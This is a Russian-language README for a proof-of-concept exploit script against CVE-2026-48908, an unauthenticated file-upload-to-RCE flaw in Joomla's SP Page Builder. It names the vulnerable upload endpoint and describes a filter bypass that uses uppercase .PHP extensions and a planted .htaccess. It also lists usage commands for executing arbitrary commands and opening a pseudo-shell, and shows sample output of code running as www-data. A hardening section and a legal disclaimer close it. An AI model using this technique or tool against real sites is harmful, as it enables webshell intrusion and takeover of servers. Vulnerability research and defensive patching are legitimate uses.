
Эксплойт, подтверждающий концепцию, для CVE-2026-48908, неаутентифицированная RCE в Joomla SP Page Builder через произвольную загрузку файлов, с адаптивной доставкой полезной нагрузки и очисткой.
| CVE | CVE-2026-48908 |
| Уязвимость | CWE-284 Неправильный контроль доступа → Неаутентифицированная произвольная загрузка файлов → RCE |
| Компонент | SP Page Builder (com_sppagebuilder) для Joomla |
| Затронутые версии | 1.0.0 – 6.6.1 |
| Исправлено в | 6.6.2 |
| Требуемые привилегии | Нет (до аутентификации) |
| Взаимодействие пользователя | Нет |
SP Page Builder предоставляет задачу контроллера asset.uploadCustomIcon для обработки загрузки пользовательского пакета иконок-шрифтов:
index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
В затронутых версиях эта задача доступна без аутентификации и без действительного anti-CSRF токена. Она принимает ZIP-архив (multipart поле custom_icon) и извлекает его содержимое в публично доступную через веб директорию под корнем документа:
/media/com_sppagebuilder/assets/iconfont/<name>/ (including the fonts/ subfolder)
Поскольку загрузка доступна до аутентификации и извлеченные файлы попадают в корень веб-сервера, злоумышленник может записать контролируемые файлы в просматриваемое расположение и получить к ним доступ через HTTP.
В некоторых сборках добавлен серверный фильтр имен файлов для записей архива. Этот PoC обходит типичную реализацию такого фильтра с помощью цепочки из трех шагов:
.php, .phtml, .phar, .php3–.php8, .pht, .inc, … но не нормализует регистр, поэтому .PHP (и другие варианты со смешанным регистром) и .htaccess проходят.<FilesMatch "\.php$">) выполняет только строчные .php, поэтому загруженный .PHP изначально отдается как исходный текст, а не выполняется..htaccess. Файл .htaccess (который блок-лист также пропускает), содержащий AddType application/x-httpd-php .PHP, помещается вместе с полезной нагрузкой. Там, где AllowOverride это разрешает, это регистрирует .PHP как PHP и загруженная оболочка выполняется.PoC всегда упаковывает корректную структуру иконок-шрифтов (selection.json, style.css, fonts/<name>.ttf), чтобы загрузка была принята, а затем добавляет оболочку.
Адаптивный — он перебирает список исполняемых PHP расширений (сначала наименее заметные), затем запасной вариант с .htaccess, и останавливается на первом, который действительно выполняет код:
fonts/<shell>.<ext> для каждого из php, php3, php4, php5, php7, pht, phtml, phar, PHP, pHp, Php. Без .htaccess. Разные фильтры SP Page Builder блокируют разные наборы, и разные конфигурации Apache выполняют разные расширения — поэтому этот метод находит любую комбинацию, которую цель разрешает и выполняет.fonts/.htaccess + fonts/<shell>.PHP (запасной) — только если все прямые попытки не удались. Помещенный .htaccess (AddType … .PHP) заставляет выполняться прописной .PHP там, где AllowOverride это разрешает (именно это нужно хостам стиля 5.4.6).Он останавливается на первом выполняющемся методе и выводит, какой именно сработал. Каждая принятая загрузка отслеживается, поэтому --cleanup удаляет все из них (несколько попыток могут оставить каталоги только для записи).
В зависимости от версии и усиления защиты сервера результат может различаться, и PoC сообщает об этом явно (см. Результаты ниже): полное RCE, только запись файлов (PHP отключен /
AllowOverride None), исправлено (только для администратора) или не уязвимо.
pip install -r requirements.txt # requests
# confirm the vulnerability and prove code execution (runs `id`)
python3 sppb_rce.py https://target.example
# run a specific command
python3 sppb_rce.py --url target.example -c "uname -a"
# interactive pseudo-shell
python3 sppb_rce.py https://target.example --shell
# only check; run no command
python3 sppb_rce.py https://target.example --check
# remove the uploaded payload directory afterwards
python3 sppb_rce.py https://target.example --cleanup
Цель может быть указана как позиционный аргумент или через --url, с указанием схемы или без.
[*] target : https://target.example
[*] endpoint : index.php?option=com_sppagebuilder&task=asset.uploadCustomIcon
[*] try .php -> rejected by filter
[*] try .php3 -> rejected by filter
...
[*] try .PHP -> uploaded, not executed
[*] try .htaccess+.PHP -> EXECUTED
[+] CODE EXECUTION CONFIRMED via '.htaccess+.PHP' (echo 7*6 -> 42)
[*] running: id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
------------------------------------------------------------
[*] cleanup: done (4 dirs)
PoC всегда сообщает вердикт для цели:
| Вывод | Значение | Выход |
|---|---|---|
CODE EXECUTION CONFIRMED via '<method>' | Уязвим — полное неаутентифицированное RCE | 0 |
[~] PARTIALLY VULNERABLE — unauth file-write works, but PHP did NOT execute | Только запись файлов (AllowOverride None / PHP отключен в /media) | 3 |
[-] TARGET NOT VULNERABLE — SP Page Builder is patched (6.6.2+) | Исправлено — теперь загрузка требует аутентификации администратора | 1 |
[-] TARGET NOT VULNERABLE — every upload was rejected, or SP Page Builder is absent/patched | Не эксплуатируемо / компонент отсутствует | 2 |
404 любому, у кого его нет — это не общедоступный бэкдор.--cleanup удаляет созданный каталог с полезной нагрузкой.id, арифметическая метка)./media/, /images/, /tmp) через пул FPM или php_admin_flag engine off.AllowOverride None для этих каталогов, чтобы помещенный .htaccess не мог повторно включить обработчики..php/.PHP в media/.../iconfont/, новые учетные записи Super User и установленные файловые менеджеры.Эксплойт Joomla SP Page Builder · com_sppagebuilder неаутентифицированное RCE · CVE-2026-48908 PoC · asset.uploadCustomIcon произвольная загрузка файлов · Joomla удаленное выполнение кода · скрипт эксплойта для пенттеста.
Данное программное обеспечение публикуется только для образовательных целей и авторизованного тестирования безопасности — например, тестов на проникновение, на которые у вас есть письменное разрешение, программ bug-bounty, включающих цель в область действия, соревнований CTF и собственных лабораторных систем.
Доступ, модификация или нарушение работы компьютерных систем без разрешения незаконны в большинстве юрисдикций. Вы несете полную и исключительную ответственность за свои действия. Используя, загружая или распространяя этот код, вы соглашаетесь с тем, что:
Если вы не согласны с этими условиями, не используйте данное программное обеспечение. Как и в случае с любым общедоступным эксплойтом/PoC, он распространяется добросовестно, чтобы помочь защитникам обнаружить, понять и устранить уязвимость; что вы с ним делаете — ваша ответственность.
MIT — см. LICENSE.